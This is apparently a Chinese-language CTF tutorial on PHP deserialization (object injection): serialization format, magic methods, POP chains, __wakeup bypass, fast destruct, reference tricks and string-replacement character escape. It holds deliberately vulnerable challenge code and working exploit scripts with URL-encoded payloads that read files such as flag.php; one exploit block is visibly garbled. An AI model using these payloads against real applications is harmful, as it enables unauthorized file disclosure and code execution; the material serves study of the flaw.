php反序列化漏洞基础 概念
序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()
序列化和反序列化结合起来,可以轻松地存储和传输数据,使程序更具维护性。
序列化格式
类型
结构
Object
O:length:class name:attribute number:{attr1;value1;attr2;value2;}
Array
a:number:{key1;value1;key2;value2;}
String
s:length:value;
Integer
i:value;
Boolean
b:value; //(0=False,1=True)
Null
N;
Double
d:value;
pointer reference
R:number
1 2 3 4 5 6 7 8 9 10 11 12 <?php class example {protected $string ="test" ;private $integer =1 ;var $null =null ;public $double =1.2 ;public $bool =True;} echo serialize (new example ());?>
对象字段(属性)名的序列化规则:
var和public:var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。
protected:声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的\0表示 ASCII 码为0的字符,属于不可见字符,因此该字段的长度会比可见字符长度大3。
private:声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。私有字段的字段名在序列化时,字段名前面会加上\0\0前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
1 2 3 4 5 6 7 <?php $arr =array ('string' =>'test' ,'integer' =>1 ,'null' =>null ,'double' =>1.2 ,'bool' =>True); echo serialize ($arr );?>
反序列化漏洞 反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函 数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。
可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。
漏洞利用条件:
unserialize()函数的参数可控。
存在可利用的魔术方法。
出现场景:
代码审计;
服务器源码泄露后挖掘漏洞;
CTF-WEB题目。
属性赋值 要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如何构造序列化数据呢?
直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。
生成步骤:
把题目代码复制到本地;
注释掉与属性无关的内容(方法和没用的代码);
对属性赋值;
输出url编码后的序列化数据:
echo(urlencode(serialize(new DEMO1())));
将序列化数据发送到目标服务器。
进行URL编码的原因:
原始的序列化数据可能存在不可见字符;
如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码。
那么如何对属性赋值呢?主要有3种方法:
直接在属性中赋值:优点是方便,缺点是只能赋值字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class DEMO {public $func ='evil' ;public $arg ='phpinfo();' ;} echo (urlencode (serialize (new DEMO ())));?>
外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。
1 2 3 4 5 6 7 8 9 <?php class DEMO {public $func ;public $arg ;} $o = new DEMO ();$o ->func = 'evil' ;$o ->arg = 'phpinfo();' ;echo (urlencode (serialize ($o )));
1 小技巧:对于php7.1+的版本,反序列化对属性类型不敏感。尽管题目的类下的属性可能不是public,但是我们可以本地改成public,然后生成public的序列化字符串。由于7.1+版本的容错机制,尽管属性类型错误,php也认识,也可以反序列化成功。基于此,可以绕过诸如 \0 字符的过滤。
构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦
1 2 3 4 5 6 7 8 9 10 11 <?php class DEMO { public $func ; public $arg ; function __construct ( ) { $this ->func = 'evil' ; $this ->arg='phpinfo();' ; } } $o = new DEMO ();echo (urlencode (serialize ($o )));
魔术方法 上面的例子是有一个 $obj->run() 函数来执行注入的命令,这是为了演示漏洞利用,实际上但是大多数服务器代码是没有这个运行函数。这时,需要可以自动执行的魔术方法。
魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见的魔术方法有:
1 2 3 4 5 6 7 8 9 10 11 12 13 __construct() //对象创建(new)时会自动调用。 __wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get($key) //用于从不可访问的属性读取数据,$key就是不存在的属性 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把对象当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发 __autoload() //在代码中当调用不存在的类时会自动调用该方法。
反序列化基础利用 第一题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Login { private $user = "Y1ng" ; function __destruct ( ) { if ($this ->user == "admin" ) { echo $flag ; } else { echo "you are not my admin!" ; exit ; } } } $exp = $_GET ['exp' ];unserialize (@$exp );
将user的值改为 admin ,并生成序列化数
1 2 3 4 5 6 <?php class Login {private $user = "admin" ;} echo urlencode (serialize (new Login ()));?>
1 2 得到 O%3A5%3A%22Login%22%3A1%3A%7Bs%3A11%3A%22%00Login%00user%22%3Bs%3A5%3A%22admin%22%3B%7D
第二题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (1 );class Read { public function get_file ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } class Show { public $source ; public $var ; public $class1 ; public function __construct ($name ='index.php' ) { $this ->source = $name ; echo $this ->source.' Welcome' ."<br>" ; } public function __toString ( ) { $content = $this ->class1->get_file ($this ->var ); echo $content ; return $content ; } public function _show ( ) { if (preg_match ('/gopher|http|ftp|https|dict|\.\.|flag|file/i' ,$this ->source)) { die ('hacker' ); } else { highlight_file ($this ->source); } } public function Change ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; } } public function __get ($key ) { $function =$this ->$key ; $this ->{$key }(); } } if (isset ($_GET ['sid' ])){ $sid =$_GET ['sid' ]; $config =unserialize ($_GET ['config' ]); $config ->$sid ; } else { $show = new Show ('index2.php' ); $show ->_show (); }
解题思路:
构造利用链,就要找到头和尾。再想办法把头和尾连接起来。
$sid 和 $config 是用户输入可以控制的,这是利用链的头部。
最终目的是读取flag.php文件,就要从源代码中需要可以读文件或者执行系统命令的地方。 Read-get_file 和 Show->_show 可以读取文件,但是 Show->_show 函数不允许出现flag。因此, Read-get_file 就是POP链的尾部。
如何触发 Read->get_file 呢?搜索get_file发现, Show->__toString 中存在代码
1 $content = $this->class1->get_file($this->var);
那么,只需要令
1 2 $this->class1=new Read; $this->var='flag.php'
即可触发get_file,并得到flag.php的内容(base64编码格式)。 5. 那么如何触发 Show->__toString 呢?本题存在手动触发函数的命令 $config->$sid; ,参数是用户控制的(POP链的头部),因此可以令:
1 2 $config=new Show; $sid='__toString';
这样就完成了POP链的构造。
解法一:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Read {} class Show {public $source ;public $var = 'flag.php' ;public $class1 ;} $s = new Show ;$s ->class1 = new Read ;echo (urlencode (serialize ($s )));config=O%3 A4%3 A%22 Show%22 %3 A3%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BN%3 Bs%3 A3%3 A%2 2 var %22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 Bs%3 A6%3 A%22 class1%22 %3 BO%3 A4%3 A%22 Read%22 %3 A0%3 A%7 B%7 D%7 D&sid=__toString
解法二:由于__toString 是魔术方法,还可以自动触发,触发条件为“把对象当成字符串使用”,那么就需要寻找使用字符串的地方,传入对象,就可以触发 __toString 了。本题中preg_match函数的参数就是字符串,因此需要
$this->source=Show;//this就是当前的类,因此本题要生成连个Show类,其中一个Show类的 source属性值为另一个Show类
再利用 $config->$sid 触发 Show->Change 或者 Show->_show 方法即可。payload为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Read {} class Show {public $source ;public $var = 'flag.php' ;public $class1 ;} $r = new Read ;$s = new Show ;$s ->class1 = $r ;$s2 = new Show ;$s2 ->source = $s ;echo (urlencode (serialize ($s2 )));config=O%3 A4%3 A%22 Show%22 %3 A3%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BO%3 A4%3 A%22 Sho w%22 %3 A3%3 A%7 Bs%3 A6%3 A%22 source%22 %3 BN%3 Bs%3 A3%3 A%22 var %22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 Bs%3 A6%3 A%22 class1%22 %3 BO%3 A4%3 A%22 Read%22 %3 A0%3 A%7 B%7 D%7 Ds %3 A3%3 A%22 var %22 %3 Bs%3 A8%3 A%22 flag.php%22 %3 Bs%3 A6%3 A%22 class1%22 %3 BN%3 B% 7 D&sid=Change
POP链 概念 POP链:POP(面向属性编程)链是指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。
反序列化利用就是要找到合适的POP链。其实就是构造一条符合原代码需求的链条,去找到可以控制的属性或方法,从而构造POP链达到攻击的目的。
寻找POP链的思路:
寻找unserialize()函数的参数是否可控;
寻找反序列化想要执行的目标函数,重点寻找魔术方法(比如 __wakeup() 和 __destruct() );
一层一层地研究目标在魔术方法中使用的属性和调用的方法,看看其中是否有我们可控的属性和方 法;
根据我们要控制的属性,构造序列化数据,发起攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php error_reporting (0 );class Vox { protected $headset ; public $sound ; public function fun ($pulse ) { include ($pulse ); } public function __invoke ( ) { $this ->fun ($this ->headset); } } class Saw { public $fearless ; public $gun ; public function __construct ($file ='index.php' ) { $this ->fearless = $file ; echo $this ->fearless . ' You are in my range!' ."<br>" ; } public function __toString ( ) { $this ->gun['gun' ]->fearless; return "Saw" ; } public function _pain ( ) { if ($this ->fearless){ highlight_file ($this ->fearless); } } public function __wakeup ( ) { if (preg_match ("/gopher|http|file|ftp|https|dict|php|\.\./i" , $this ->fearless)){ echo "Does it hurt? That's right" ; $this ->fearless = "index3.php" ; } } } class Petal { public $seed ; public function __construct ( ) { $this ->seed = array (); } public function __get ($sun ) { $Nourishment = $this ->seed; return $Nourishment (); } } if (isset ($_GET ['ozo' ])){ unserialize ($_GET ['ozo' ]); } else { $Saw = new Saw ('index3.php' ); $Saw ->_pain (); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );class Vox { public $sound ; } class Saw { public $fearless ; public $gun ; } class Petal { public $seed ; } $V =new Vox ;$P =new Petal ;$P ->seed=$V ;$S =new Saw ();$S ->gun=array ('gun' =>$P );$S2 =new Saw ;$S2 ->fearless=$S ;echo (urlencode (serialize ($S2 )));
畸形序列化字符串 畸形序列化字符串就是故意修改序列化数据,使其与标准序列化数据存在个别字符的差异,达到绕过一些安全函数的目的。
应用领域:
绕过 __wakeup()
快速析构(fast destruct):绕过过滤函数,提前执行 __destruct
绕过__wakeup 由于使用unserialize()函数后会立即触发 __wakeup ,为了绕过 __wakeup 中的安全机制,可以用修改属性数量的方式绕过 __wakeup 方法。受影响版本:
php5.0.0 ~ php5.6.25 php7.0.0 ~ php7.0.10
绕过方法:
反序列化时,修改对象的属性数量,将原数量+n,那么__wakeup方法将不再调用。比如:
1 2 3 4 //标准序列化数据 O:3:"BUU":2:{s:7:"correct";N;s:5:"input";R:2;} //修改为: O:3:"BUU":3:{s:7:"correct";N;s:5:"input";R:2;}
2.增加真实属性的个数,比如
1 2 3 4 5 6 原始序列化数据 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}} 增加真实属性的个数 O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;} 或者: O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";s:1:"n":N;}}
快速析构 快速析构的原理:当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法( __destruct() )。
应用场景:某些题目需要利用 __destruct 才能获取flag,但是 __destruct 是在对象被销毁时才触发(执行顺序太靠后), __destruct 之前会执行过滤函数,为了绕过这些过滤函数,就需要提前触发__destruct 方法。
畸形字符串的构造
改掉属性的个数
删掉结尾的 }
例题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class DemoX { protected $user ; protected $sex ; function __construct ( ) { $this ->user = "guest" ; $this ->sex = "male" ; } function __wakeup ( ) { $this ->user = "Guest" ; $this ->sex = "female" ; } function __toString ( ) { return "<br>you are " . $this ->user . ", your sex is " . $this ->sex . "<br>" ; } function __destruct ( ) { echo $this ; } } class Demo2 { private $fffl4g ; function __construct ($file ) { $this ->fffl4g = $file ; } function __toString ( ) { return file_get_contents ($this ->fffl4g); } } if (!isset ($_GET ['poc' ])){ highlight_file ("index.php" ); } else { $user = unserialize ($_GET ['poc' ]); }
1 2 3 DemoX->__destruct()//不能执行DemoX->__wakeup() DemoX->__toString() Demo2->__toString()
怎样执行绕过 DemoX->__wakeup() ?先生成正常的序列化数据,再改变属性个数。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class DemoX {protected $user ;protected $sex ;function __construct ( ) {$this ->user = new Demo2 ;$this ->sex = "xxx" ;} } class Demo2 {private $fffl4g ="flag.php" ;} $user = new DemoX ();$user = serialize ($user );echo $user . "\n" ;echo urlencode ($user );
执行得到
1 2 3 4 5 6 7 8 9 O:5:"DemoX":2:{s:7:" * user";O:5:"Demo2":1:{s:13:" Demo2 fffl4g";s:8:"flag.php";}s:6:" * sex";s:3:"xxx";} O%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Dem o2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22% 3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22xxx%22%3B%7D //通过对比,定位到属性个数为2的数据,然后修改为3,得到payload: O%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3BO%3A5%3A%22Dem o2%22%3A1%3A%7Bs%3A13%3A%22%00Demo2%00fffl4g%22%3Bs%3A8%3A%22flag.php%22% 3B%7Ds%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22xxx%22%3B%7D
指针问题 指针
用 & 符号可以进行指针引用,类似于C语言中的指针。
例如: 1 $a=&$b;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class Seri { public $alize ; public function __construct ($alize ) { $this ->alize = $alize ; } public function __destruct ( ) { $this ->alize->getFlag (); } } class Alize { public $f ; public $t1 ; public $t2 ; function __construct ($file ) { echo "Another construction!!" ; $this ->f = $file ; $this ->t1 = $this ->t2 = md5 (rand (1 ,10000 )); } public function getFlag ( ) { $this ->t2 = md5 (rand (1 ,10000 )); echo $this ->t1; echo $this ->t2; if ($this ->t1 === $this ->t2) { if (isset ($this ->f)){ echo @highlight_file ($this ->f,true ); } } else { echo "no" ; } } } $p = $_GET ['p' ];if (isset ($p )) { $p = unserialize ($p ); } else { show_source (__FILE__ ); } ?>
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class Seri {public $alize ;__construct ($alize ) {} class Alize {public $f ;public $t1 ;public $t2 ;construction!!"; // $this ->f = $file ; // $this ->t1 = $this ->t2 = md5(rand(1,10000)); // } // public function getFlag(){ // $this ->t2 = md5(rand(1,10000)); // echo $this ->t1; // echo $this ->t2; // if($this ->t1 === $this ->t2) // { // if(isset($this ->f)){ // echo @highlight_file($this ->f,true); // } // } else { // echo " no"; // } // } } $f =new Alize;$f ->f='flag.php';$f ->t1=&$f ->t2;$s =new Seri;$s ->alize=$f ;echo(urlencode(serialize($s )));
反序列化字符逃逸 字符逃逸 字符逃逸本质:对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。
思路:
写出基本序列化
写出注入的对象
分析是长到短还是短到长的替换,决定要把对象注入 到什么地方
算清楚替换的差值,计算需要吃掉或挤出(逃逸)的 字符串的长度,保证这个长度是替换的差值的整数 倍,如果不能保证,加字符串
构造替换,对象注入。
类型:长到短的替换:在第一个元素进行替换,进而吃掉第二个元素的约束,第二个元素就逃逸出来了。短到长的替换:直接在替换位点后面跟上注入的对象,注入对象就可以逃逸出来。
长到短替换 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php show_source ("index.php" );function write ($data ) { return str_replace (chr (0 ) . '*' . chr (0 ), '\0\0\0' , $data ); } function read ($data ) { return str_replace ('\0\0\0' , chr (0 ) . '*' . chr (0 ), $data ); } class A { public $username ; public $password ; function __construct ($a , $b ) { $this ->username = $a ; $this ->password = $b ; } } class B { public $b = 'world' ; function __destruct ( ) { $c = 'hello' .$this ->b; echo $c ; } } class C { public $c ; function __toString ( ) { echo file_get_contents ($this ->c); return 'nice' ; } } $a = new A ($_GET ['a' ],$_GET ['b' ]);$b = unserialize (read (write (serialize ($a ))));
解析源码:
‘\0\0\0’:单引号表示\0是2个字符;如果是双引号,则\0表示转义,是1个字符
write:进行有3字节到6字节的替换,属于短到长的替。
read:进行6字节到3字节的替换,属于长到短的替换。
$b=unserialize(read(write(serialize($a)))):如果serialize($a)中有\0\0\0字符串,但是没有chr(0).’*’.chr(0)字符串,则write函数不会起作用,相当于只执行了read函数,就进行了长到短的替换,会发生字符逃逸。
构造数据: 1. 得到基础的序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 要得到class A 的序列化数据 <?php class A {public $username ='UN' ;public $password ='PW' ;} echo serialize (new A);字符串 O:1 :"A" :2 : {s:8 :"username" ;s:2 :"UN" ;s:8 :"password " ;s:2 :"PW" ;}
2.用类似的方法得到类B和类C的序列化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class B {public $b ;} class C {public $c ='flag.php' ;file_get_contents ($this ->c);} $b =new B;$c =new C;$b ->b=$c ;echo serialize ($b );O:1 :"B" :1 :{s:1 :"b" ;O:1 :"C" :1 : {s:1 :"c" ;s:8 :"flag.php" ;}}
3.注入payload,并调整格式(这是关键,错1个字节就 全部错误了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 A: O:1:"A":2: {s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";} B和C:表示要注入的命令 O:1:"B":1:{s:1:"b";O:1:"C":1: {s:1:"c";s:8:"flag.php";}} 将password值PW替换为要注入的命令: O:1:"A":2:{s:8:"username";s:2:"UN";s:8:"password ";s:2:"O:1:"B":1:{s:1:"b";O:1:"C":1: {s:1:"c";s:8:"flag.php";}}";} 我们希望长到短替换后,将serialize得到 的";s:8:"password被视作username值的一部 分,接着我们自己输入password属性名,就可以将 核心payload作为password属性的值了: O:1:"A":2: {s:8:"username";s:2:"UN";s:8:"password";s:2:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";} 最后会多出了"; 这里不能像sql注入那样添加注 释,可以写一个空属性来闭合多余的"; O:1:"A":2: {s:8:"username";s:2:"UN";s:8:"password";s:2:";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"";} 这样就得到了参数b初步的值: ;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:" 长度为83,所以前面的s:2:"要改为s:83:" 想要在username处吃掉的字符串为(长度是22字 节): ";s:8:"password";s:83: read函数每次替换吃掉3字节,但是现在需要吃掉22字节,这就需要再补充2字节,凑成3的倍数(只能加字节,不能减字节,否则会破坏序列化数据的结构)。加字节不能在a参数处,只能在b参数的头部处,可以添加x",这样得到参数b最终的值: x";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:" 由于24/3=8,所以需要替换8次,那么参数a的值 为: \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \0\0\0\0\0 将参数a和b的值传递到服务器(urlencode格式), a=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&b=x%22;s:8:%22password%22;O:1:%22B%22:1:%7Bs:1:%22b%22;O:1:%22C%22:1:%7Bs:1:%22c%22;s:8:%22flag.php%22;%7D%7Ds:0:%22%22;s:0:%22 可以得到flag:在网页源代码中看到 flag{a6c175ea-d851-5cf1-cd6f-3aad733ae896}
短到长替换 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php show_source (__FILE__ );function write ($data ) { return str_replace (chr (0 ) . '*' . chr (0 ), '\0\0\0' , $data ); } function read ($data ) { return str_replace ('\0\0\0' , chr (0 ) . '*' . chr (0 ), $data ); } class A { public $username ; public $password ; function __construct ($a , $b ) { $this ->username = $a ; $this ->password = $b ; } } class B { public $b = 'world' ; function __destruct ( ) { $c = 'hello' .$this ->b; echo $c ; } } class C { public $c ; function __toString ( ) { echo file_get_contents ($this ->c); return 'nice' ; } } $a = new A ($_GET ['a' ],$_GET ['b' ]);$b = unserialize (write (read (serialize ($a ))));
解题:
类似于长到短替换,首先得到A的序列化字符串和需 要注入的核心payload(注入命令):
1 2 3 4 5 6 7 8 A: O:1:"A":2: {s:8:"username";s:2:"UN";s:8:"password";s:2:"PW";} B和C: O:1:"B":1:{s:1:"b";O:1:"C":1: {s:1:"c";s:8:"flag.php";}}
2.由于本题是短到长的替换,只需要将注入命令放在 username处,并且在注入命令之前补充合适数量的 chr(0).’*’.chr(0)即可。这样经过替换,字节数 变多,那么注入命令就被“挤出来”了,即逃逸成功。 3. 注入payload,并调整格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 //将注入命令放在username属性值处 O:1:"A":2: {s:8:"username";s:2:"O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:2:"PW";} //在注入命令前补充闭合之前的属性值,并添加新 的属性名(这样使注入命令成为新添加的属性名的 值) O:1:"A":2: {s:8:"username";s:2:"";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:2:"PW";} //注入命令逃逸后,还多了"; 需要补充数据闭合掉 多余部分: O:1:"A":2: {s:8:"username";s:2:"";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:"";s:8:"password";s:2:"PW";} //这样就得到需要逃逸出来的命令数据(长度为77 字节): ";s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:" //由于write函数每替换一次,增加3字节,所以逃 逸数据长度必须是3的倍数,需要给逃逸数据增加1 字节(只能加,不能减),得到最终的需逃逸的命令 数据: ";s:2:"aa";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:" //在逃逸数据前补充78/3=26个 chr(0).'*'.chr(0)即可,使用命令 urlencode(str_repeat(chr(0).'*'.chr(0),26).'";s:2:"aa";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}s:0:"";s:0:" ') //得到需要传递给a参数的数据(b参数这里用不 到,随便传数据): a=%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%00%2A%00%22%3Bs%3A2%3A%22aa%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A0%3A%22%22%3Bs%3A0%3A%22&b=123